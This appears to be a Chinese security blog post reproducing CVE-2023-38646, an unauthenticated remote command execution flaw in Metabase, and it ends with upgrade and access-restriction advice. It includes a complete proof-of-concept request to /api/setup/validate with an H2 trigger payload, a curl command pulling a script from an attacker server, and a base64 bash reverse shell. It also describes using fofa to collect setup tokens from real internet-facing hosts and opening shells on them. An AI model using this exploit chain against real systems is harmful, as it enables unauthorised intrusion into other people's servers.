关注我们❤️,添加星标🌟,一起学安全!
作者:Kevfoe@Timeline Sec
本文字数:1282
阅读时长:2~4min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负
0x01 简介
Metabase是一个开源的数据分析和可视化工具,它可以帮助用户轻松地连接到各种数据源,包括数据库、云服务和API,然后使用直观的界面进行数据查询、分析和可视化。
0x02 漏洞概述
漏洞编号:CVE-2023-38646
Metabase open source 0.46.6.1之前的版本和Metabase Enterprise 1.46.6.1之前的版本存在一个漏洞,允许攻击者在服务器的权限级别上执行任意命令,利用时不需要身份验证。
该漏洞是由预身份验证 API 端点/api/setup/validate中的 JDBC 连接问题引起的。通过向该端点发出请求,我们成功实现了远程代码执行(RCE)。
0x03 影响版本
-
Metabase open source 0.46 < 0.46.6.1 -
Metabase Enterprise 1.46 < 1.46.6.1 -
Metabase open source 0.45 < v0.45.4.1 -
Metabase Enterprise 1.45 < 1.45.4.1 -
Metabase open source 0.44 < 0.44.7.1 -
Metabase Enterprise 1.44 < 1.44.7.1 -
Metabase open source 0.43 < 0.43.7.2 -
Metabase Enterprise 1.43 < 1.43.7.2
0x04 环境搭建
本地搭建
sudo docker run -d -p 3000:3000 --name metabase metabase/metabase:v0.46.6
0x05 漏洞复现
本地环境
通过访问IP:3000/api/session/properties获取setup-token。截图如下:
获取到setup-token后构建poc执行反弹shell
由于靶机环境无法直接反弹shell,所以先构造一个反弹shell脚本,让靶机获取该脚本并执行,从而成功反弹
具体步骤如下:
访问/api/setup/validate,并构造payload获取攻击服务器的2.sh文件,实际执行命令为:
curl http://192.168.222.184:8000/2.sh -o /tmp/2.sh
具体poc如下:
POST /api/setup/validate HTTP/1.1
Host: IP
Content-Type: application/json
{
"token": "token值",
"details": {
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules": {},
"details": {
"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascriptnjava.lang.Runtime.getRuntime().exec(具体执行的命令)n$$--=x",
"advanced-options": false,
"ssl": true
},
"name": "test",
"engine": "h2"
}
}
成功获取到2.sh文件,并置于/tmp/2.sh
2.sh文件详情如下:
攻击机监听6666端口,并发送post包,执行2.sh,具体执行命令为bash /tmp/2.sh:
成功反弹shell:
在线环境
通过fofa搜索资产,访问api/session/properties批量获取对应的setup-token和版本信息,如下图:
该机器可以直接反弹shell,所以直接构造shell
具体执行命令为:
bash -c {echo,YmFzaixxxYx}|{base64,-d}|{bash,-i}
其中YmFzaixxxYx是将shell进行64位编码的值。具体执行情况如下图:
开启监听
成功反弹shell
0x06 修复方式
临时缓解方案:
通过网络ACL策略限制访问来源,例如只允许来自特定IP地址或地址段的访问请求或者阻止对 /api/setup 终结点的请求。
升级修复方案:
官方已经推出了新的修复版本。建议所有受影响的用户尽快访问官方网站,更新至相应的安全版本。
对于使用 Docker 版本的用户,只需拉取最新版本的镜像进行更新。然而在开始升级前,务必确保已经对数据进行了备份。
需要注意的是不论使用什么修复版本,都需要确保应用完成安装过程可正常登录使用才可修复漏洞。同时作为安全建议,应该及时下线一些不使用的服务。
参考链接
-
https://github.com/shamo0/CVE-2023-38646-PoC -
https://www.metabase.com/blog/security-advisory -
https://blog.calif.io/p/reproducing-cve-2023-38646-metabase -
https://blog.assetnote.io/2023/07/22/pre-auth-rce-metabase/
推荐服务
历史漏洞
CVE-2021-41277:Metabase任意文件读取漏洞
后台功能
回复【1】领取新人学习资料
回复【2】进入漏洞查询功能
回复【3】获取加群方式
回复【4】领取安全电子书籍
回复【5】进入SRC-QQ交流群
商务合作
原文始发于微信公众号(Timeline Sec):CVE-2023-38646:Metabase远程命令执行漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论